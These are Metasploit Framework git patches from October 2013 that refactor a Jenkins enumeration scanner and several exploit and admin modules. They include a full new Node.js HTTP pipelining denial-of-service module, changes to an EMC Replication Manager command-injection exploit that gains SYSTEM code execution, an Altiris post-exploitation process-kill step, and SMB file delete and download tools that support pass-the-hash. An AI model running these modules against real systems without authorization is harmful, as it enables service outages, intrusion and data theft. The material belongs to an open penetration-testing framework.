100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -19,12 +19,12 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Jenkins Vulnerability Scanner', - 'Description' => %q{ + 'Name' => 'Jenkins Vulnerability Scanner', + 'Description' => %q{ This module scans a Jenkins installation for a few vulnerablities. }, - 'Author' => 'Jeff McCutchan', - 'License' => MSF_LICENSE + 'Author' => 'Jeff McCutchan', + 'License' => MSF_LICENSE )) register_options( From a425e2be78063a794c87145251b7c677191d8a9d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 09:28:43 -0500 Subject: [PATCH 296/409] Fix typo --- modules/auxiliary/scanner/http/jenkins_vulnscan.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index 407e3a3d02..8841783b29 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Jenkins Vulnerability Scanner', 'Description' => %q{ - This module scans a Jenkins installation for a few vulnerablities. + This module scans a Jenkins installation for a few vulnerabilities. }, 'Author' => 'Jeff McCutchan', 'License' => MSF_LICENSE From e4a340b7f1eb83dfc27add107ad42afa107791f6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 10:02:32 -0500 Subject: [PATCH 297/409] Fix small issues --- .../scanner/http/jenkins_vulnscan.rb | 80 ++++++++++--------- 1 file changed, 42 insertions(+), 38 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index 8841783b29..d8308eb1a2 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -40,26 +40,29 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET', 'ctype' => 'text/plain', }) - if res - # check to see if we are dealing with a Jenkins installation - if not res.headers.include?('X-Jenkins') - print_status("#{rhost}:#{rport} responded with #{res.code} but does not seem to be Jenkins") if res.code != 404 - return - end - else - vprint_error("No reponse recieved from #{rhost}:#{rport}") + + unless res + vprint_error("#{peer} - No response received") return end + + unless res.headers.include?('X-Jenkins') + vprint_error("#{peer} - responded with #{res.code} but does not seem to be Jenkins") + return + end + version = res.headers['X-Jenkins'] - vprint_status("#{rhost}:#{rport} Jenkins Version - #{version}") + vprint_status("#{peer} Jenkins Version - #{version}") + # script - exploit module for this # view/All/newJob - can be exploited manually # asynchPeople - Jenkins users # systemInfo - system information - apps = [ 'script', - 'view/All/newJob', - 'asynchPeople/', - 'systemInfo', + apps = [ + 'script', + 'view/All/newJob', + 'asynchPeople/', + 'systemInfo' ] apps.each do |app| check_app(app) @@ -73,13 +76,14 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET', 'ctype' => 'text/plain', }) - if not res - vprint_error("Failed to connect to #{rhost}:#{rport}#{uri_path}") + unless res + vprint_error("#{peer} - Timeout") return end + case res.code when 200 - print_good("#{rhost}:#{rport}#{uri_path} does not require authentication (200)") + print_good("#{peer} - #{uri_path} does not require authentication (200)") case app when "systemInfo" parse_system_info(res.body) @@ -89,27 +93,27 @@ class Metasploit3 < Msf::Auxiliary :port => rport, :proto => 'tcp', :sname => (ssl ? 'https' : 'http'), - :name => self.name, + :name => "Jenkins Script-Console Java Execution", :info => "Module #{self.fullname} confirmed access to the Jenkins Script Console with no authentication" ) end when 403 - vprint_status("#{rhost}:#{rport}#{uri_path} restricted (403)") + vprint_status("#{peer} - #{uri_path} restricted (403)") when 401 - vprint_status("#{rhost}:#{rport}#{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") + vprint_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") when 404 - vprint_status("#{rhost}:#{rport}#{uri_path} not found (404)") + vprint_status("#{peer} - #{uri_path} not found (404)") when 301 - vprint_status("#{rhost}:#{rport}#{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") when 302 - vprint_status("#{rhost}:#{rport}#{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") else - vprint_status("#{rhost}:#{rport}#{uri_path} Don't know how to handle response code #{res.code}") + vprint_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}") end end def parse_system_info(body) - vprint_status("#{rhost}:#{rport} getting useful information from systemInfo") + vprint_status("#{peer} - Getting useful information from systemInfo") infos = { "os.name" => nil, "os.version" => nil, @@ -127,21 +131,22 @@ class Metasploit3 < Msf::Auxiliary "TMP" => nil, "SHELL" => nil } - # remove unclosed tags for REXML - body = body.gsub('', '') - body = body.gsub('
', '') - doc = REXML::Document.new(body) - tds = doc.get_elements("//td") - tdcounter = 0 - tds.each do |td| - td = td.get_text.to_s.strip - infos.each do |k, v| - if td == k - infos[k] = tds[tdcounter +1].get_text.to_s.strip - end + + # remove unclosed tags for REXML + body = body.gsub('', '') + body = body.gsub('
', '') + doc = REXML::Document.new(body) + tds = doc.get_elements("//td") + tdcounter = 0 + tds.each do |td| + td = td.get_text.to_s.strip + infos.each do |k, v| + if td == k + infos[k] = tds[tdcounter +1].get_text.to_s.strip end - tdcounter +=1 end + tdcounter +=1 + end # print out the goodies infos.each do |k, v| @@ -178,7 +183,6 @@ class Metasploit3 < Msf::Auxiliary when "user.timezone" vprint_line(" Timezone: #{v}") end - end print_line('') end From 0cc7be013801eb4be9e06318c8cba9685f8b1fea Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 10:04:32 -0500 Subject: [PATCH 298/409] Use snake_case --- modules/auxiliary/scanner/http/jenkins_vulnscan.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index d8308eb1a2..6b79cb3f79 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -137,15 +137,15 @@ class Metasploit3 < Msf::Auxiliary body = body.gsub('
', '') doc = REXML::Document.new(body) tds = doc.get_elements("//td") - tdcounter = 0 + td_counter = 0 tds.each do |td| td = td.get_text.to_s.strip infos.each do |k, v| if td == k - infos[k] = tds[tdcounter +1].get_text.to_s.strip + infos[k] = tds[td_counter+1].get_text.to_s.strip end end - tdcounter +=1 + td_counter +=1 end # print out the goodies From c50e7c73b6dbf1ad11c7dd5f75b62c3c678b975c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 10:29:30 -0500 Subject: [PATCH 299/409] Make parsing easier --- .../scanner/http/jenkins_vulnscan.rb | 46 ++++++++----------- 1 file changed, 20 insertions(+), 26 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index 6b79cb3f79..eaf7a47a97 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -115,37 +115,31 @@ class Metasploit3 < Msf::Auxiliary def parse_system_info(body) vprint_status("#{peer} - Getting useful information from systemInfo") infos = { - "os.name" => nil, - "os.version" => nil, - "sun.os.patch.level" => nil, - "os.arch" => nil, - "user.name" => nil, - "USERDOMAIN" => nil, - "user.home" => nil, - "user.language" => nil, - "user.country" => nil, - "user.timezone" => nil, - "COMPUTERNAME" => nil, - "SystemDrive" => nil, - "TEMP" => nil, - "TMP" => nil, - "SHELL" => nil + "os.name" => nil, + "os.version" => nil, + "sun.os.patch.level" => nil, + "os.arch" => nil, + "user.name" => nil, + "USERDOMAIN" => nil, + "user.home" => nil, + "user.language" => nil, + "user.country" => nil, + "user.timezone" => nil, + "COMPUTERNAME" => nil, + "SystemDrive" => nil, + "TEMP" => nil, + "TMP" => nil, + "SHELL" => nil } # remove unclosed tags for REXML - body = body.gsub('', '') - body = body.gsub('
', '') + body.gsub!('', '') + body.gsub!('
', '') doc = REXML::Document.new(body) tds = doc.get_elements("//td") - td_counter = 0 - tds.each do |td| - td = td.get_text.to_s.strip - infos.each do |k, v| - if td == k - infos[k] = tds[td_counter+1].get_text.to_s.strip - end - end - td_counter +=1 + tds.each_index do |idx| + td = tds[idx].get_text.to_s.strip + infos[td] = tds[idx+1].get_text.to_s.strip if infos.has_key?(td) end # print out the goodies From 0d73275c3f5855982784def1e1c33ec291bb1ebc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 10:39:54 -0500 Subject: [PATCH 300/409] Delete not necessary check --- modules/auxiliary/scanner/http/jenkins_vulnscan.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index eaf7a47a97..971d751f80 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -167,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary when "TEMP" print_line(" Temp Directory: #{v}") when "TMP" - print_line(" Temp Directory: #{v}") if infos["TEMP"].nil? + print_line(" Temp Directory: #{v}") when "user.home" vprint_line(" Home Directory: #{v}") when "user.language" From e447aff0ec1f424571c3c5d24c0e72cebbe0b750 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Tue, 22 Oct 2013 11:53:15 -0400 Subject: [PATCH 301/409] Fix misleading statement in Outlook post module Since this module doesn't retrieve domain exchange information as it isn't stored there it shouldn't say that Outlook isn't installed at all. --- modules/post/windows/gather/credentials/outlook.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb index 44db669c6a..e03448e5e9 100644 --- a/modules/post/windows/gather/credentials/outlook.rb +++ b/modules/post/windows/gather/credentials/outlook.rb @@ -342,7 +342,7 @@ class Metasploit3 < Msf::Post end if outlook_exists == 0 - print_status("Microsoft Outlook not installed.") + print_status("Microsoft Outlook not installed or Exchange accounts are being used.") elsif saved_accounts == 0 print_status("Microsoft Outlook installed however no accounts stored in Registry.") end From cdd183f43a28f10a9a419ceae4fd291208ca8d39 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 11:15:16 -0500 Subject: [PATCH 302/409] Add reporting --- .../scanner/http/jenkins_vulnscan.rb | 91 ++++++++++++++++--- 1 file changed, 79 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index 971d751f80..5ad0655639 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -52,7 +52,20 @@ class Metasploit3 < Msf::Auxiliary end version = res.headers['X-Jenkins'] - vprint_status("#{peer} Jenkins Version - #{version}") + vprint_status("#{peer} - Jenkins Version - #{version}") + report_service( + :host => rhost, + :port => rport, + :name => (ssl ? 'https' : 'http'), + :proto => 'tcp' + ) + + report_web_site( + :host => rhost, + :port => rport, + :ssl => ssl, + :info => "Jenkins Version - #{version}" + ) # script - exploit module for this # view/All/newJob - can be exploited manually @@ -84,6 +97,14 @@ class Metasploit3 < Msf::Auxiliary case res.code when 200 print_good("#{peer} - #{uri_path} does not require authentication (200)") + report_note({ + :type => "jenkins_path", + :host => rhost, + :port => rport, + :proto => 'tcp', + :data => "#{uri_path} does not require authentication (200)", + :update => :unique_data + }) case app when "systemInfo" parse_system_info(res.body) @@ -147,37 +168,83 @@ class Metasploit3 < Msf::Auxiliary next if v.nil? case k when "os.name" - print_line(" OS: #{v}") + vprint_line(" OS: #{v}") + report_host({:host => rhost, :os_name => v}) when "os.version" - print_line(" OS Version: #{v}") + vprint_line(" OS Version: #{v}") + report_host({:host => rhost, :os_flavor => v}) when "sun.os.patch.level" - print_line(" Patch Level: #{v}") + vprint_line(" Patch Level: #{v}") when "os.arch" - print_line(" Arch: #{v}") + vprint_line(" Arch: #{v}") + report_note({ + :type => "system_arch", + :host => rhost, + :data => "Arch: #{v}", + :update => :unique_data + }) when "user.name" - print_line(" User: #{v}") + vprint_line(" User: #{v}") + report_note({ + :type => "jenkins_user", + :host => rhost, + :port => rport, + :proto => 'tcp', + :data => "User: #{v}", + :update => :unique_data + }) when "USERDOMAIN" - print_line(" Domain: #{v}") + vprint_line(" Domain: #{v}") + report_note({ + :type => "system_domain", + :host => rhost, + :data => "Domain: #{v}", + :update => :unique_data + }) when "COMPUTERNAME" - print_line(" Computer Name: #{v}") + vprint_line(" Computer Name: #{v}") + report_note({ + :type => "system_computer", + :host => rhost, + :data => "Computer Name: #{v}", + :update => :unique_data + }) when "SystemDrive" vprint_line(" System Drive: #{v}") when "SHELL" - print_line(" Shell: #{v}") + vprint_line(" Shell: #{v}") when "TEMP" - print_line(" Temp Directory: #{v}") + vprint_line(" Temp Directory: #{v}") when "TMP" - print_line(" Temp Directory: #{v}") + vprint_line(" Temp Directory: #{v}") when "user.home" vprint_line(" Home Directory: #{v}") when "user.language" vprint_line(" Language: #{v}") + report_note({ + :type => "system_lang", + :host => rhost, + :data => "Language: #{v}", + :update => :unique_data + }) when "user.country" vprint_line(" Country: #{v}") + report_note({ + :type => "system_country", + :host => rhost, + :data => "Country: #{v}", + :update => :unique_data + }) when "user.timezone" vprint_line(" Timezone: #{v}") + report_note({ + :type => "system_timezone", + :host => rhost, + :data => "Timezone: #{v}", + :update => :unique_data + }) end end - print_line('') + vprint_line('') end end From a4dd53f650e3c367742e3db9493c164dd92a761c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 11:16:14 -0500 Subject: [PATCH 303/409] Chane module filename --- .../scanner/http/{jenkins_vulnscan.rb => jenkins_enum.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/http/{jenkins_vulnscan.rb => jenkins_enum.rb} (100%) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb similarity index 100% rename from modules/auxiliary/scanner/http/jenkins_vulnscan.rb rename to modules/auxiliary/scanner/http/jenkins_enum.rb From c34155b8be21e4c14f3053b5c7e90b4260d92a78 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 12:34:35 -0500 Subject: [PATCH 304/409] Clean replication_manager_exec --- .../windows/emc/replication_manager_exec.rb | 47 +++++++------------ 1 file changed, 16 insertions(+), 31 deletions(-) diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index 832de8b66c..c4652d6dfc 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStagerVBS @@ -16,18 +17,18 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'EMC Replication Manager Command Execution', 'Description' => %q{ - This module exploits a remote command-injection vulnerability in EMC Replication - Manager client (irccd.exe). By sending a specially crafted message invoking RunProgram - function an attacker may be able to execute arbitrary code commands with SYSTEM privileges. - Affected products is EMC Replication Manager < 5.3. - This module has been successfully tested against EMC Replication Manager 5.2.1 on XP/W2003. - EMC Networker Module for Microsoft Applications 2.1 and 2.2 may be vulnerable too although - this module have not been tested against these products. + This module exploits a remote command-injection vulnerability in EMC Replication Manager + client (irccd.exe). By sending a specially crafted message invoking RunProgram function an + attacker may be able to execute arbitrary code commands with SYSTEM privileges. Affected + products are EMC Replication Manager < 5.3. This module has been successfully tested + against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft + Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested + against these products. }, 'Author' => [ 'Unknown', #Initial discovery - 'Davy Douhine', #MSF module + 'Davy Douhine' #MSF module ], 'License' => MSF_LICENSE, 'References' => @@ -40,32 +41,23 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DisclosureDate' => 'Feb 07 2011', 'Platform' => 'win', - 'Arch' => [ ARCH_X86, ARCH_CMD ], + 'Arch' => ARCH_X86, 'Payload' => { - 'Space' => 5000, + 'Space' => 4096, 'DisableNops' => true }, 'Targets' => [ # Tested on Windows XP and Windows 2003 - [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', - { - 'Arch' => ARCH_X86 - } - ], - [ 'EMC Replication Manager 5.2.1 / Windows CMD', - { - 'Arch' => ARCH_CMD - } - ] + [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'DefaultTarget' => 0, - 'Privileged' => true, + 'Privileged' => true )) register_options( @@ -75,15 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - - if target.name =~ /CMD/ - print_status("Executing payload...") - print_status("#{payload.encoded}") - execute_command(payload.encoded, {}) - else # Native target - execute_cmdstager({:linemax => 5000, :nodelete => true}) - end - + execute_cmdstager({:linemax => 5000}) end def execute_command(cmd, opts) @@ -133,10 +117,11 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("Executing command....") sock.put(run_prog_packet) - Rex.sleep(1) # wait for irccd.exe to write the stager on disk + sock.get_once(-1, 1) end_string = Rex::Text.rand_text_alpha(rand(10)+32) sock.put(end_string) + sock.get_once(-1, 1) disconnect end From 11b2719ccc7fb4205f7571e2b4ffd4882958dacd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 12:36:58 -0500 Subject: [PATCH 305/409] Change module plate --- modules/exploits/windows/emc/replication_manager_exec.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index c4652d6dfc..b4adab146d 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' From db447b65f972b1003b4d82ad9ed8275efc51b4ac Mon Sep 17 00:00:00 2001 From: Jonathan Rudenberg Date: Fri, 18 Oct 2013 23:52:50 -0400 Subject: [PATCH 306/409] Add exploit for Node.js HTTP Pipelining DoS --- .../auxiliary/dos/http/nodejs_pipelining.rb | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 modules/auxiliary/dos/http/nodejs_pipelining.rb diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb new file mode 100644 index 0000000000..207f48d9d5 --- /dev/null +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -0,0 +1,83 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Node.js HTTP Pipelining DoS', + 'Description' => %q{ + This module exploits a DoS in the HTTP parser of Node.js versions + released before 0.10.21 and 0.8.26. The attack sends many pipelined + HTTP requests on a single connection, which causes unbounded memory + allocation when the client does not read the responses. + }, + 'Author' => [ 'titanous', 'Marek Majkowski', 'joev' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://blog.nodejs.org/2013/10/22/cve-2013-4450-http-server-pipeline-flood-dos' ], + [ 'CVE', '2013-4450' ], + [ 'OSVDB', '98724' ], + [ 'BID' , '63229' ], + ], + 'DisclosureDate' => 'Oct 18 2013')) + + register_options( + [ + Opt::RPORT(80), + OptInt.new('RLIMIT', [true, "Number of requests to send", 100000]) + ], + self.class) + end + + def check + # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/ + # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted + status = Exploit::CheckCode::Unknown + connect + sock.put(http_request("GEM")) + begin + response = sock.get_once + status = Exploit::CheckCode::Appears if response =~ /HTTP/ + rescue EOFError + # checking against >= 0.10.17 raises EOFError because there is no + # response to GEM requests + ensure + disconnect + end + status + end + + def host + host = datastore['RHOST'] + host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80 + host + end + + def http_request(method='GET') + "#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n" + end + + def run + payload = http_request + begin + connect + datastore['RLIMIT'].times { sock.put(payload) } + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("Unable to connect to #{host}.") + rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error + print_status("DoS successful. #{host} not responding.") + ensure + disconnect + end + end +end From 33c31673621c59053cc0fbf2808be82f5f43a2dd Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 22 Oct 2013 14:54:54 -0500 Subject: [PATCH 307/409] Show full path instead of just the basename Since @todb-r7 and I hate having to use find. :/ --- tools/msftidy.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index c8b37c215e..70a902d8e8 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -58,17 +58,17 @@ class Msftidy def warn(txt, line=0) line_msg = (line>0) ? ":#{line.to_s}" : '' - puts "#{@name}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" + puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" end def error(txt, line=0) line_msg = (line>0) ? ":#{line.to_s}" : '' - puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}" + puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{txt}" end def fixed(txt, line=0) line_msg = (line>0) ? ":#{line.to_s}" : '' - puts "#{@name}#{line_msg} - [#{'FIXED'.green}] #{txt}" + puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{txt}" end From bdf07456ba6d109ff10c9abe5139901f24c711c7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 15:00:58 -0500 Subject: [PATCH 308/409] Last cleanup for nodejs_pipelining --- modules/auxiliary/dos/http/nodejs_pipelining.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb index 207f48d9d5..0c0e57141c 100644 --- a/modules/auxiliary/dos/http/nodejs_pipelining.rb +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -20,14 +20,19 @@ class Metasploit3 < Msf::Auxiliary HTTP requests on a single connection, which causes unbounded memory allocation when the client does not read the responses. }, - 'Author' => [ 'titanous', 'Marek Majkowski', 'joev' ], + 'Author' => + [ + 'Marek Majkowski', # Vulnerability discovery + 'titanous', # Metasploit module + 'joev' # Metasploit module + ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://blog.nodejs.org/2013/10/22/cve-2013-4450-http-server-pipeline-flood-dos' ], [ 'CVE', '2013-4450' ], [ 'OSVDB', '98724' ], [ 'BID' , '63229' ], + [ 'URL', 'http://blog.nodejs.org/2013/10/22/cve-2013-4450-http-server-pipeline-flood-dos' ] ], 'DisclosureDate' => 'Oct 18 2013')) @@ -70,12 +75,14 @@ class Metasploit3 < Msf::Auxiliary def run payload = http_request begin + print_status("Stressing the target memory...") connect datastore['RLIMIT'].times { sock.put(payload) } + print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.") rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_status("Unable to connect to #{host}.") rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error - print_status("DoS successful. #{host} not responding.") + print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached") ensure disconnect end From 85479f59948d521ed709fc9656a6f6f2d9c579e2 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 22 Oct 2013 16:11:19 -0400 Subject: [PATCH 309/409] removed PrependMigrate, introduced migrate -f --- modules/exploits/windows/mssql/altiris_ds_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/mssql/altiris_ds_sqli.rb b/modules/exploits/windows/mssql/altiris_ds_sqli.rb index 700d9e7c2d..44a462c1a0 100644 --- a/modules/exploits/windows/mssql/altiris_ds_sqli.rb +++ b/modules/exploits/windows/mssql/altiris_ds_sqli.rb @@ -39,7 +39,6 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'PrependMigrate' => true, 'EXITFUNC' => 'process', }, 'Targets' => @@ -208,6 +207,7 @@ Processor-Speed=2659 #can't scrub dropped payload while the process is still active so... #iterate through process list, find our process and the associated parent process ID, Kill the parent client.core.use("stdapi") + client.console.run_single("run migrate -f") client.sys.process.get_processes().each do |proc| if proc['pid'] == client.sys.process.open.pid client.sys.process.kill(proc['ppid']) From b2b8824e2ee40f0d93b080acc2ed06cc46d3d061 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Tue, 22 Oct 2013 16:31:56 -0400 Subject: [PATCH 310/409] add delete and download modules for smb --- modules/auxiliary/admin/smb/delete_file.rb | 62 ++++++++++++++++ modules/auxiliary/admin/smb/download_file.rb | 75 ++++++++++++++++++++ 2 files changed, 137 insertions(+) create mode 100644 modules/auxiliary/admin/smb/delete_file.rb create mode 100644 modules/auxiliary/admin/smb/download_file.rb diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb new file mode 100644 index 0000000000..d1bdd83262 --- /dev/null +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -0,0 +1,62 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + # Exploit mixins should be called first + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Auxiliary::Report + + # Aliases for common classes + SIMPLE = Rex::Proto::SMB::SimpleClient + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + + def initialize + super( + 'Name' => 'SMB File Delete Utility', + 'Description' => %Q{ + This module deletes a file from a target share and path. The only reason + to use this module is if your existing SMB client is not able to support the features + of the Metasploit Framework that you need, like pass-the-hash authentication. + }, + 'Author' => + [ + 'hdm' # metasploit module + ], + 'References' => + [ + ], + 'License' => MSF_LICENSE + ) + + register_options([ + OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']), + OptString.new('RPATH', [true, 'The name of the remote file relative to the share']) + ], self.class) + + end + + def run + + print_status("Connecting to the server...") + connect() + smb_login() + + print_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + + print_status("Trying to delete #{datastore['RPATH']}...") + + simple.delete("\\#{datastore['RPATH']}") + end + +end diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb new file mode 100644 index 0000000000..028baf010a --- /dev/null +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + # Exploit mixins should be called first + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Auxiliary::Report + + # Aliases for common classes + SIMPLE = Rex::Proto::SMB::SimpleClient + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + + def initialize + super( + 'Name' => 'SMB File Download Utility', + 'Description' => %Q{ + This module downloads a file from a target share and path. The only reason + to use this module is if your existing SMB client is not able to support the features + of the Metasploit Framework that you need, like pass-the-hash authentication. + }, + 'Author' => + [ + 'hdm' # metasploit module + ], + 'References' => + [ + ], + 'License' => MSF_LICENSE + ) + + register_options([ + OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']), + OptString.new('RPATH', [true, 'The name of the remote file relative to the share']), + OptString.new('LPATH', [false, 'The path of the local file to upload']) + ], self.class) + + end + + def run + + print_status("Connecting to the server...") + connect() + smb_login() + + print_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + + print_status("Trying to download #{datastore['RPATH']}...") + + fd = simple.open("\\#{datastore['RPATH']}", 'ro') + lfile = fd.read + 